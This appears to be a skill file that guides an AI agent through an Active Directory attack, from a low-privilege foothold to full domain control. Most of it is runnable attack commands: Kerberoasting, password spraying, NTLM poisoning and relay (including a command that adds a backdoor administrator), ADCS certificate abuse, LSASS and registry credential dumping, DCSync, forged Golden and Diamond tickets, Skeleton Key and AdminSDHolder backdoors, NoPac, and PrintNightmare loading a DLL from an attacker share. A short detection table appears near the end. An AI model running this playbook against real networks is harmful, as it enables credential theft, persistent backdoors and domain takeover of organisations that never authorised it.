aeondave/active-directory-technique

Active Directory Technique

Goal: move from domain foothold or low-privilege credential to domain dominance via the shortest confirmed path.

When this technique applies

• Shell or credential on a domain-joined host (from post-exploit-technique).
• Valid domain user credential (from phishing, spray, NTLM relay, or credential harvest).
• Network access to DC ports (88/Kerberos, 389/LDAP, 445/SMB, 636/LDAPS).
• Red team / pentest requiring AD attack path documentation.
• Need to validate ACL-based privilege paths such as GenericAll, WriteDacl, WriteOwner, or GenericWrite.

Boundary with other skills

• Input from post-exploit-technique: shell on domain host, harvested NTLM hash or plaintext.
• Input from network-technique §Case E: NTLM relay setup (Responder + ntlmrelayx).
• Recon phase: use recon-technique for initial attack surface mapping; this skill assumes you are inside the domain.
• Cracking: NTLM/Kerberos hashes from this skill → cracking-technique for offline cracking.
• Lateral movement tooling: network-technique §Case D/H for proxychains, crackmapexec basics.

Initial triage

Before taking action, classify the starting point and choose the shortest low-noise path.

• Starting state: do you have a shell on a domain host, a low-priv domain credential, relayed auth, or only network reachability?
• First questions: what domain are you in, what are the lockout rules, is SMB signing enforced, is AD CS present, and what high-value principals or paths already exist?
• Immediate actions: confirm domain context, collect the minimum graph/evidence needed to rank attack paths, then choose one path at a time.
• Tool-family direction: start with AD graph/enumeration skills (bloodhound, sharphound, powerview, enum4linux); switch to credential attacks (kerbrute, rubeus, impacket) only after a path is justified; use lateral-movement tool skills (crackmapexec, evil-winrm, impacket) after a target and credential type are known.
• Escalation rule: prefer the shortest confirmed privilege path over broad spraying or host-by-host movement.

Agent operating model

Entry point classification:
  A. Shell on domain host (no creds yet) → Phase 1 → Phase 2
  B. Low-privilege domain credential → Phase 2 directly
  C. Network access only (no creds) → Phase 3 (NTLM relay/poisoning) first
  D. Child domain compromised → Phase 7 (domain trust escalation)

Loop:
  1. Domain enumeration — map attack surface.
  2. Credential attacks — obtain additional hashes/tickets.
  3. NTLM relay & poisoning — capture and relay without cracking.
  4. Certificate abuse — obtain domain auth via ADCS.
  5. Lateral movement — reach high-value targets.
  6. Domain dominance — DCSync, Golden/Silver/Diamond ticket, persistence.
  7. Domain trust escalation — child-to-parent, cross-forest.

Shortest path: BloodHound path from current user to Domain Admin → execute that path.

OPSEC noise levels (tag every command before execution):
  QUIET    : LDAP/DNS queries, BloodHound stealth collection, Kerbrute enum, Snaffler targeted
  MODERATE : Standard SMB/LDAP enum, Kerberoasting, AS-REP, Coercer, Inveigh/Responder
  LOUD     : DCSync, PSExec (creates service), BloodHound -c All, Mimikatz on host, NoPac

Do not brute-force domain accounts blindly — AD lockout policies are common. Spray once with confirmed policy.

---

Phase 1 — Domain enumeration

Map the domain before attacking. BloodHound gives the full graph; PowerView for targeted queries.

No credentials yet, shell on a domain-joined *nix host

Bootstrap valid usernames before any other Phase 1/2 step.

/usr/sbin/realm list -a                       # confirm domain-joined + realm name
getent passwd <candidate_user>                # validate via NSS/SSSD, no auth needed

With root, read the local SSSD cache directly for a full user/group list without any domain credential.

→ Full technique: references/ad-enumeration.md §Domain user/group enumeration from a domain-joined *nix host.

BloodHound collection

# SharpHound (on target, Windows)
.\SharpHound.exe -c All --zipfilename bh_data.zip

# bloodhound-python (from attack host, Linux)
bloodhound-python -u <user> -p <pass> -d <domain> -ns <dc_ip> -c All

Import zip into BloodHound. Key queries:

• Shortest path to DA: Shortest Paths to Domain Admins from Owned Principals
• Kerberoastable users: List all Kerberoastable Accounts
• AS-REP roastable: Find AS-REP Roastable Users
• Unconstrained delegation: Find Computers with Unconstrained Delegation
• LAPS: Find computers where LAPS is enabled
• Owned → admin paths: mark each compromised principal as Owned

See offensive-tools/windows/bloodhound/, offensive-tools/windows/sharphound/.

PowerView targeted queries

Import-Module .\PowerView.ps1

# Domain context
Get-Domain; Get-DomainController
Get-DomainPolicy | Select -ExpandProperty SystemAccess  # lockout policy!

# Users and groups
Get-DomainUser -Properties samaccountname,memberof,useraccountcontrol,pwdlastset,lastlogon
Get-DomainGroupMember "Domain Admins"
Get-DomainGroupMember "Enterprise Admins"

# Computers
Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp

# ACL abuse paths
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "<username>"}

# Local admin enumeration (noisy — avoid unless targeted)
Find-LocalAdminAccess

See offensive-tools/windows/powerview/.

Validate ACL edges before acting on them. BloodHound pathing is the starting point; live DACL confirmation prevents stale graph edges and helps choose the lowest-change proof path. Use references/ad-acl-abuse.md for rights-to-impact mapping and safe execution discipline.

enum4linux-ng (from Linux attack host)

# Full domain enumeration via SMB/RPC
enum4linux-ng -A -u <user> -p <pass> <dc_ip>

# Users, groups, shares, password policy
enum4linux-ng -U -G -S -P -u <user> -p <pass> <dc_ip>

See offensive-tools/windows/enum4linux/.

→ Full enumeration patterns: references/ad-enumeration.md.

---

Phase 2 — Credential attacks

Kerberoasting

Request TGS for service accounts → crack offline. Works with any valid domain user.

# impacket
impacket-GetUserSPNs domain.local/user:pass -dc-ip <dc_ip> -request -outputfile kerberoast.txt

# rubeus (on target Windows)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt /format:hashcat

# Crack with hashcat (mode 13100)
hashcat -m 13100 kerberoast.txt /path/to/rockyou.txt -r rules/best64.rule

High-value targets: SPN accounts with high privilege (check BloodHound → Kerberoastable).

AS-REP Roasting

Accounts with DONT_REQ_PREAUTH set → get encrypted hash without authentication.

# impacket — no credentials needed
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip <dc_ip> -format hashcat -outputfile asrep.txt

# impacket — with credentials (enumerate automatically)
impacket-GetNPUsers domain.local/user:pass -dc-ip <dc_ip> -request -format hashcat -outputfile asrep.txt

# rubeus (on target)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Crack with hashcat (mode 18200)
hashcat -m 18200 asrep.txt /path/to/rockyou.txt

Password spraying

Test one password across many accounts. Respects lockout — always check policy first.

# Check lockout policy before spraying
enum4linux-ng -P -u <user> -p <pass> <dc_ip>
net accounts /domain   # from Windows

# crackmapexec spray (SMB)
crackmapexec smb <dc_ip> -u users.txt -p 'Password2024!' --continue-on-success

# kerbrute spray (Kerberos — lower noise than SMB)
kerbrute passwordspray -d domain.local --dc <dc_ip> users.txt 'Password2024!'

# DomainPasswordSpray.ps1 (from domain-joined Windows — auto-enumerates users)
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 'Welcome1' -OutFile spray_success -ErrorAction SilentlyContinue

# trevorspray — LDAP spray (staggered, lockout-aware)
trevorspray -u users.txt -p 'Password2024!' --host <dc_ip> --lockout-threshold 3

See offensive-tools/windows/kerbrute/, offensive-tools/windows/trevorspray/.

Pre-Windows 2000 machine account exploitation

Machine accounts in the "Pre-Windows 2000 Compatible Access" group have default passwords set to lowercase machine name (without trailing $). If the machine was never domain-joined or its password never rotated, the default still works.

# Identify Pre-2000 members
nxc ldap <dc_ip> -u user -p pass -d domain.local -M groupmembership -o USER='Pre-Windows 2000 Compatible Access'
# Or via LDAP:
ldapsearch -x -H ldap://<dc_ip> -D "[email protected]" -w pass -b "DC=domain,DC=local" \
  "(&(objectClass=computer)(memberOf=CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=domain,DC=local))" sAMAccountName userAccountControl

# Test default password (machine "SRV01$" → password "srv01")
nxc smb <dc_ip> -u 'SRV01$' -p 'srv01' -d domain.local

# Change to controlled password via RPC-SAMR (requires valid domain user context)
net rpc password 'SRV01$' 'NewPass123!' -U 'domain.local/user%pass' -S <dc_ip>

# Or via impacket changepasswd
impacket-changepasswd domain.local/'SRV01$':'srv01'@<dc_ip> -newpass 'NewPass123!'

Impact: machine accounts often have group memberships granting gMSA read, local admin on other hosts, or constrained delegation. Check memberOf immediately after takeover.

LAPS & gMSA password extraction

# LAPS — read local admin passwords from AD (requires ReadLAPSPassword rights)
nxc ldap <dc_ip> -u user -p pass -M laps
nxc smb <subnet>/24 -u user -p pass --laps    # authenticate using LAPS passwords

# gMSA — read managed service account passwords (requires ReadGMSAPassword)
nxc ldap <dc_ip> -u user -p pass -M gmsa
python3 gMSADumper.py -u user -p pass -d domain.local -l <dc_ip>

# gMSA with machine account (common: Domain Secure Servers / Domain Controllers can read gMSA)
nxc ldap <dc_ip> -u 'SRV01$' -p 'NewPass123!' -d domain.local --gmsa

→ Full LAPS/gMSA extraction patterns: references/ad-enumeration.md.

→ Full attack patterns, ticket abuse, delegation exploits: references/kerberos-attacks.md.

---

Phase 3 — NTLM relay & network poisoning

Capture NTLM authentication via relay or poisoning. Highly effective in environments without SMB signing.

LLMNR/NBT-NS/mDNS poisoning

Passive credential capture — respond to broadcast name resolution queries to intercept NTLM hashes.

# Responder (Linux attack host) — full poisoning
sudo responder -I eth0 -wv
# Hashes: /usr/share/responder/logs/ → hashcat -m 5600

# Analyze mode (passive, no poisoning — useful for recon)
sudo responder -I eth0 -A

# Inveigh (from compromised Windows host)
Import-Module .\Inveigh.ps1
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

# C# version (standalone, no PowerShell dependency)
.\Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y

See offensive-tools/network/responder/, offensive-tools/windows/inveigh/.

AD-integrated DNS (ADIDNS) poisoning

Unlike LLMNR/NBT-NS which are broadcast-based, ADIDNS targets unicast DNS by injecting records directly into AD-integrated zones via LDAP. Any Authenticated User can add new records (CreateChild on zone container).

Use when: target service hostname does not exist in DNS yet, or you need targeted redirection (WSUS, SCCM, ADFS) without broadcast-level noise.

→ Full technique, record format, and code: references/ad-services-abuse.md §ADIDNS Record Injection.

Credential hunting (Snaffler)

# Automated share enumeration + content analysis for secrets
.\Snaffler.exe -s -d domain.local -o snaffler.log -v data

See offensive-tools/windows/snaffler/.

SMB signing check

crackmapexec smb <subnet>/24 --gen-relay-list relay_targets.txt
# relay_targets.txt = hosts without SMB signing enabled
nmap --script smb2-security-mode -p 445 <subnet>/24

Coercion + relay

# Step 1: Start ntlmrelayx (attack host — relay to target without signing)
impacket-ntlmrelayx -tf relay_targets.txt -smb2support [-i | -c <cmd> | -socks]

# Step 2: Coerce authentication from victim host
# Coercer — tries all known coercion methods (PetitPotam, PrinterBug, DFSCoerce, etc.)
python3 Coercer.py coerce -u <user> -p <pass> -d domain.local -t <victim_host> -l <attacker_ip>

# Alternative: Responder (passive — wait for auth from network traffic)
responder -I eth0 -wv

Relay impact options

• -i → interactive SMB shell on relayed session
• -c "net user backdoor P@ss123 /add && net localgroup Administrators backdoor /add" → command execution
• -socks → SOCKS proxy through relayed session (use with proxychains)
• --delegate-access → Resource-Based Constrained Delegation abuse (creates computer account, gains S4U2self)

→ Full relay chain patterns: references/ntlm-relay.md.

---

Phase 4 — Certificate abuse (ADCS)

Active Directory Certificate Services (ADCS) misconfigurations allow privilege escalation to DA without touching LSASS. Certipy now supports ESC1-16.

Enumeration

# certipy — enumerate ADCS from Linux
certipy find -u <user>@domain.local -p <pass> -dc-ip <dc_ip> -vulnerable -stdout

# certify (Windows)
.\Certify.exe find /vulnerable

ESC1 — Enrollee supplies Subject Alternative Name

Most common misconfiguration: template allows enrollee to specify any SAN (including DA UPN).

# Request certificate as Domain Admin
certipy req -u <user>@domain.local -p <pass> -ca <CA-name> -template <vuln-template> \
  -upn [email protected] -dc-ip <dc_ip>

# Authenticate with certificate → get TGT → NTLM hash
certipy auth -pfx administrator.pfx -domain domain.local -username administrator -dc-ip <dc_ip>

# Use hash for pass-the-hash or secretsdump

ESC8 — NTLM relay to AD CS HTTP endpoint

Relay NTLM auth to ADCS web enrollment → obtain certificate for domain controller → DCSync.

# Relay to ADCS instead of SMB
impacket-ntlmrelayx -t http://<ADCS-server>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce DC to authenticate to attacker
python3 Coercer.py coerce -u <user> -p <pass> -d domain.local -t <dc_ip> -l <attacker_ip>

# Get DC certificate → authenticate → DCSync
certipy auth -pfx dc.pfx -domain domain.local -username dc$ -dc-ip <dc_ip>
impacket-secretsdump -k -no-pass domain.local/dc$@<dc_ip>

See offensive-tools/windows/certipy/.

→ Full ESC1-15 chains, ADCS enumeration, Shadow Credentials, Golden Certificate: references/certificate-abuse.md.

→ Server Auth EKU certs for TLS impersonation (rogue WSUS/SCCM/ADFS): references/certificate-abuse.md §TLS Service Impersonation + references/ad-services-abuse.md §Rogue WSUS.

---

Phase 5 — Lateral movement

Move between hosts using confirmed credentials or tickets.

SMB — command execution

# crackmapexec — validate + execute (pass plaintext, hash, or ticket)
crackmapexec smb <target> -u <user> -p <pass>                    # login test
crackmapexec smb <target> -u <user> -H <ntlm_hash>              # pass-the-hash
crackmapexec smb <target> -u <user> -p <pass> -x "whoami"       # command execution
crackmapexec smb <subnet>/24 -u <user> -p <pass> --local-auth   # spray with local creds

# impacket psexec / wmiexec / smbexec (different noise levels)
impacket-psexec domain.local/user:pass@<target>          # SYSTEM shell (noisy — creates service)
impacket-wmiexec domain.local/user:pass@<target>         # medium noise, no service
impacket-smbexec domain.local/user:pass@<target>         # lower noise
impacket-psexec domain.local/user@<target> -hashes :NTLMHASH  # pass-the-hash

WinRM — PowerShell remoting

# evil-winrm (5985/5986 open, user in Remote Management Users)
evil-winrm -i <target> -u <user> -p <pass>
evil-winrm -i <target> -u <user> -H <ntlm_hash>    # pass-the-hash

# Load PowerShell scripts/modules
evil-winrm -i <target> -u <user> -p <pass> -s /path/to/scripts/

Pass-the-Ticket (Kerberos)

# Import ticket (from Rubeus or secretsdump)
impacket-ticketConverter <ticket.kirbi> ticket.ccache
export KRB5CCNAME=ticket.ccache
impacket-psexec -k -no-pass domain.local/<user>@<target>

# Rubeus (Windows)
.\Rubeus.exe ptt /ticket:<base64_ticket>

Shadow Credentials (GenericWrite → account takeover without password change)

# certipy shadow — inject msDS-KeyCredentialLink → authenticate via PKINIT
certipy shadow auto -u [email protected] -p pass -account <target_user> -dc-ip <dc_ip>
# Output: target user NTLM hash

# pywhisker — alternative tool
python3 pywhisker.py -d domain.local -u attacker -p pass --target <target_user> --action add
# Then auth with certipy:
certipy auth -pfx <target_user>.pfx -dc-ip <dc> -username <target_user> -domain domain.local

MSSQL lateral movement

# Enumerate SQL instances via PowerUpSQL
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain

# Login and enable xp_cmdshell
Get-SQLQuery -Instance "<host>,1433" -username "domain\user" -password "pass" -query 'Select @@version'

# impacket mssqlclient
impacket-mssqlclient domain.local/user:pass@<target> -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

BloodHound Cypher query for SQL admin paths:

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

See offensive-tools/windows/crackmapexec/, offensive-tools/windows/evil-winrm/, offensive-tools/windows/impacket/.

→ Full lateral movement patterns: references/lateral-movement-ad.md.

Credential extraction (post local-admin)

Once local admin on a host, dump credentials to pivot further.

# LSASS dump via procdump (SysInternals — less suspicious than mimikatz on disk)
procdump64.exe -ma lsass.exe C:\Windows\Temp\lsass.dmp
# Parse offline with mimikatz
.\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

# Mimikatz live (requires SeDebugPrivilege)
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Credential Manager stored creds
.\mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"
# or: vault::cred

# Enable WDigest cleartext caching (requires reboot or new logon)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
# After next logon, sekurlsa::logonpasswords will show cleartext passwords

# Registry SAM/SYSTEM/SECURITY dump (offline cracking — avoids touching LSASS)
reg.exe save hklm\sam C:\Windows\Temp\sam.save
reg.exe save hklm\system C:\Windows\Temp\system.save
reg.exe save hklm\security C:\Windows\Temp\security.save
# Crack offline:
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

# LSA Secrets — high-value targets (from SECURITY + SYSTEM hive dump above):
#   DefaultPassword  → AutoLogon plaintext credential (check Winlogon registry first)
#   $MACHINE.ACC     → machine account NTLM hash (useful for S4U, relay)
#   _SC_<svcname>    → service account passwords
#   DPAPI_SYSTEM     → DPAPI master key decryption
#   NL$KM            → cached domain logon encryption key
# Check AutoLogon before hive dump (faster):
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName

# CrackMapExec — remote credential dump (SAM, LSA, NTDS)
crackmapexec smb <target> -u admin -p pass --sam       # local SAM hashes
crackmapexec smb <target> -u admin -p pass --lsa       # LSA secrets (includes DefaultPassword)
crackmapexec smb <dc_ip> -u admin -p pass --ntds       # NTDS.dit (DA required)

---

Phase 6 — Domain dominance

DCSync — dump all domain hashes

Requires: Domain Admin, or account with Replicating Directory Changes + Replicating Directory Changes All.

# impacket secretsdump (from Linux)
impacket-secretsdump domain.local/administrator:pass@<dc_ip>
impacket-secretsdump -k -no-pass domain.local/administrator@<dc_ip>  # with ticket

# mimikatz (Windows)
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:domain.local /all" "exit"

# Target specific user
impacket-secretsdump domain.local/administrator@<dc_ip> -just-dc-user krbtgt

Output: NTLM hashes for every domain user, including krbtgt (needed for Golden Ticket).

Golden Ticket

Forge TGTs for any user, valid for 10 years. Requires krbtgt hash.

# mimikatz
.\mimikatz.exe "kerberos::golden /domain:domain.local /sid:<domain_SID> /rc4:<krbtgt_ntlm> /user:Administrator /id:500 /ptt" "exit"

# impacket ticketer
impacket-ticketer -nthash <krbtgt_ntlm> -domain-sid <sid> -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.local/Administrator@<dc_ip>

Silver Ticket

Forge TGS for a specific service without touching DC. Requires service account hash.

# mimikatz — forge TGS for CIFS on target
.\mimikatz.exe "kerberos::golden /domain:domain.local /sid:<sid> /target:<host.domain.local> /service:cifs /rc4:<service_account_ntlm> /user:Administrator /ptt" "exit"

Diamond Ticket

Modify a legitimate TGT rather than forging from scratch — stealthier than Golden Ticket. Requires krbtgt AES256 key + any valid user credential.

# Basic Diamond Ticket — request legitimate TGT, decrypt, modify PAC, re-encrypt
.\Rubeus.exe diamond /krbkey:<aes256_krbtgt> /user:<low_priv_user> /password:<pass> \
  /enctype:aes /domain:domain.local /dc:<dc_fqdn> /ticketuser:Administrator /ticketuserid:500 /nowrap

# With /tgtdeleg — avoids sending credentials on the wire
.\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
  /krbkey:<aes256_krbtgt> /nowrap

# OPSEC-enhanced (2024+) — /ldap pulls real PAC, /opsec matches Windows AS-REQ flow
.\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
  /krbkey:<aes256_krbtgt> /ldap /opsec /nowrap

RODC Golden Ticket / KeyList Attack

Forge TGTs signed by the RODC-specific krbtgt_XXXXX account, or reveal a target's long-term keys via KERB-KEY-LIST-REQ — both accepted by the writable DC if the target passes the RODC's Password Replication Policy (PRP). The AES256 krbtgt_XXXXX key exists only in the RODC's live LSASS (never in an offline ntds.dit dump), and the forged/revealed ticket's enc-part.kvno must encode the RODC number or the writable DC rejects it.

→ Full technique: references/rodc-attacks.md §kvno encoding, PRP setup, key extraction, Rubeus/impacket golden-ticket and KeyList commands.

AD persistence

# AdminSDHolder abuse — backdoor ACL propagation every 60 min
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -PrincipalIdentity <backdoor_user> -Rights All

# Skeleton key (memory only, non-persistent)
.\mimikatz.exe "privilege::debug" "misc::skeleton" "exit"
# All domain users now accept "mimikatz" as password

# SSP backdoor (credentials logged to mimilsa.log)
.\mimikatz.exe "privilege::debug" "misc::memssp" "exit"

# Golden Certificate (CA private key → forge any cert indefinitely)
certipy ca -backup -u [email protected] -p pass -ca 'CA-Name' -target <ca_host>
certipy forge -ca-pfx ca.pfx -upn [email protected]

→ Full persistence techniques: references/domain-persistence.md.

---

Phase 7 — Domain trust escalation

Escalate from child domain to parent domain or across forest trusts.

Child-to-parent escalation (ExtraSID Golden/Diamond Ticket)

Requires: krbtgt hash from child domain + Enterprise Admins SID from parent.

# Gather requirements
impacket-secretsdump child.domain.local/admin@<child_dc> -just-dc-user CHILD/krbtgt
impacket-lookupsid child.domain.local/admin@<parent_dc> | grep "Enterprise Admins"

# Mimikatz — golden ticket with /sids
.\mimikatz.exe "kerberos::golden /user:hacker /domain:CHILD.DOMAIN.LOCAL /sid:<child_sid> /krbtgt:<krbtgt_hash> /sids:<parent_EA_sid>-519 /ptt" "exit"

# Diamond Ticket (stealthier) — with ExtraSID
.\Rubeus.exe diamond /tgtdeleg /ticketuser:administrator /ticketuserid:500 /groups:512 \
  /sids:<parent_EA_sid>-519 /krbkey:<child_krbtgt_aes256> /nowrap

# Linux — forge inter-realm ticket
impacket-ticketer -nthash <krbtgt_hash> -domain CHILD.DOMAIN.LOCAL -domain-sid <child_sid> \
  -extra-sid <parent_EA_sid>-519 hacker
export KRB5CCNAME=hacker.ccache
impacket-psexec -k -no-pass CHILD.DOMAIN.LOCAL/hacker@<parent_dc_fqdn>

Cross-forest, external boundary (TREAT_AS_EXTERNAL/external trust)

Built-in SIDs (512/519/544/551) are filtered, but user-created target-domain groups with RID ≥ 1000 survive. Inject a custom high-RID group that grants privilege (e.g. one nested in Backup Operators) via impacket-ticketer -extra-sid <B_SID>-<RID>. Two traps that look like "filtered": clock skew (faketime) and using ssh -L 445 instead of a SOCKS proxy (breaks impacket SPNEGO). Payoff without a shell: SeBackupPrivilege remote read with FILE_OPEN_FOR_BACKUP_INTENT (NOT dir/reg save).

Cross-forest Kerberoasting

.\Rubeus.exe kerberoast /domain:OTHERFOREST.LOCAL /user:mssqlsvc /nowrap
impacket-GetUserSPNs -target-domain OTHERFOREST.LOCAL MYFOREST.LOCAL/user:pass -request

→ Full trust attack chains, external-boundary RID≥1000 bypass + SeBackup remote read, trust key abuse, SID history: references/domain-trust-attacks.md.

---

Bleeding-edge vulnerabilities

BadSuccessor (dMSA abuse)

Escalate to any account's NT hash using only CREATE_CHILD on an OU. Post-patch also requires WRITE on the target — these rights can be held by different actors.

# Single actor (CREATE_CHILD on OU + WRITE on target):
bloodyAD --host <DC_IP> -d <domain> -u user -k \
  add badSuccessor <dmsa_name> -t "CN=<target>,OU=<ou>,DC=<domain>,DC=<tld>" \
  --ou "OU=<ou>,DC=<domain>,DC=<tld>"

# Split-identity (post-patch): use --prepatch to skip target writes, then have
# the second actor write msDS-Superseded* on the target, then badS4U2self --dmsa.
# Full pattern: references/kerberos-only-and-badsuccessor.md

Output: target account's RC4/NT hash. Use for NTLM PtH (SMB/WMI) — no AES key is yielded.

NoPac (CVE-2021-42278 + CVE-2021-42287)

Escalate from any domain user to DA by spoofing DC sAMAccountName.

python3 noPac.py domain.local/user:pass -dc-ip <dc_ip> -dc-host <dc_hostname> --impersonate administrator -dump
# Check: crackmapexec ldap <dc_ip> -u user -p pass -M maq

PrintNightmare (CVE-2021-34527)

impacket-rpcdump <target> | grep -i spoolsv  # verify spooler
python3 CVE-2021-34527.py domain.local/user:pass@<target> '\\<attacker_ip>\share\evil.dll'

PetitPotam (MS-EFSRPC coercion)

python3 PetitPotam.py -u user -p pass -d domain.local <attacker_ip> <dc_ip>  # relay to ADCS ESC8

→ Domain persistence, DCShadow, Golden Certificate: references/domain-persistence.md.

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Detection signatures

Key Windows Event IDs triggered by AD attacks:

| Event ID | Meaning | Attack it reveals | |----------|---------|-------------------| | 4624 | Successful logon | Lateral movement, PTH | | 4625 | Failed logon | Password spraying | | 4648 | Explicit credential logon | Pass-the-Hash | | 4662 | Operation on directory object | DCSync | | 4741 | Computer account created | NoPac, RBCD setup | | 4742 | Computer account modified | NoPac (sAMAccountName rename) | | 4768 | Kerberos TGT requested | Golden/Diamond Ticket reuse | | 4769 | Kerberos service ticket requested | Kerberoasting, cross-forest | | 4771 | Kerberos pre-auth failed | AS-REP Roasting | | 4720 | User account created | RBCD / persistence | | 4738 | User account changed | ACL abuse, UPN change (ESC9) | | 4765 | SID History added | SID History injection | | 5136 | Directory object modified | DACL changes, RBCD, AdminSDHolder | | 7045 | Service installed | PSExec, Skeleton Key |

MITRE ATT&CK primary mappings:

| Phase | TTPs | |-------|------| | Enumeration | T1087.002, T1069.002, T1018 | | Kerberos attacks | T1558.003 (Kerberoasting), T1558.004 (AS-REP), T1558.001 (Golden/Diamond), T1558.002 (Silver) | | Credential access | T1003.006 (DCSync), T1557.001 (LLMNR/NBT-NS), T1649 (ADCS) | | Lateral movement | T1550.002 (PTH), T1550.003 (PTT), T1021.002 (SMB), T1021.006 (WinRM) | | Persistence | T1484 (Domain Policy), T1098 (AdminSDHolder), T1556.001 (SSP/Skeleton) | | Trust escalation | T1134.005 (SID History), T1558.001 (ExtraSID Golden) |

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Quality gates

• Lockout policy confirmed before any spray.
• BloodHound path identified before blind lateral movement attempts.
• NTLM relay verified: target list only includes hosts without SMB signing.
• Certificate abuse: template vulnerability class confirmed before request.
• DCSync: krbtgt hash validated (test decrypt with known user hash).
• Domain trust: child domain SID and parent EA SID confirmed before ticket forging.
• Diamond Ticket: AES256 key used (RC4 triggers detection).
• NoPac: MachineAccountQuota > 0 verified before exploitation.
• All escalation steps documented with exact commands and timestamps.
• Evidence files named: {tool}_{domain}_{YYYYMMDD_HHMMSS}.{ext}.

Anti-patterns

• Password spraying without lockout threshold check → account lockouts → detection.
• BloodHound collection with -c All on large domain without rate control → logs flooded.
• Treating DCSync hash dump as "complete" without validating krbtgt for Golden Ticket.
• Using mimikatz directly on EDR-monitored host without evasion → immediate alert.
• Lateral movement to every reachable host instead of targeting BloodHound DA path.
• Golden Ticket with RC4 encryption → detectable by etype mismatch with domain policy.
• Running Snaffler against entire domain without targeting → excessive SMB traffic.
• Skeleton Key on DC without confirming LSASS protection status → crash risk.

Resources

• references/ad-enumeration.md — BloodHound query catalog, PowerView cheatsheet, LDAP query patterns, trust enumeration, Snaffler, LLMNR/NBT-NS poisoning, credential hunting.
• references/ad-acl-abuse.md — ACL abuse methodology: GenericAll, WriteDACL, WriteOwner, GenericWrite, shadow credentials, RBCD, and reversible proof paths.
• references/kerberos-attacks.md — Kerberoasting, AS-REP, delegation abuse (unconstrained/constrained/RBCD), Diamond Ticket, NoPac/sAMAccountName spoofing, double-hop workarounds, ticket forgery.
• references/kerberos-time-skew.md — Load when Kerberos authentication fails with KRB_AP_ERR_SKEW or Clock skew too great. Covers faketime and ntpdate synchronization.
• references/kerberos-only-and-badsuccessor.md — Load when NTLM is disabled for LDAP, RC4 is banned for AS-REQ, shadow credentials fail with KDC_ERR_PADATA_TYPE_NOSUPP, or you need to exploit BadSuccessor (dMSA) in single-actor or split-identity mode.
• references/ntlm-relay.md — Relay chain setup, coercion methods, relay target selection, SOCKS relay for tool chaining.
• references/rodc-attacks.md — RODC Golden Ticket and KeyList Attack: kvno encoding, PRP prerequisite, krbtgt_XXXXX extraction, forge/reveal commands and caveats.
• references/certificate-abuse.md — ADCS ESC1-15 attack chains (incl. EKUwu/CVE-2024-49019), certificate auth, CA enumeration, PKINIT, shadow credentials, Golden Certificate, TLS service impersonation (non-PKINIT cert abuse for WSUS/SCCM/ADFS).
• references/ad-services-abuse.md — AD-integrated DNS (ADIDNS) record injection via LDAP, rogue WSUS server attack chain (DNS poison + TLS cert + SYSTEM exec), MS DNS record format.
• references/lateral-movement-ad.md — Protocol × credential type matrix, WMI/DCOM/RDP/WinRM/SMB patterns, detection signatures to avoid.
• references/domain-trust-attacks.md — Child-to-parent escalation, cross-forest external-boundary RID≥1000 ExtraSID bypass + SeBackupPrivilege remote read, cross-forest Kerberoasting, trust key abuse, SID history, Diamond Ticket with ExtraSID.
• references/domain-persistence.md — AdminSDHolder, Skeleton Key, SSP backdoor, DSRM abuse, DCShadow, Golden Certificate persistence.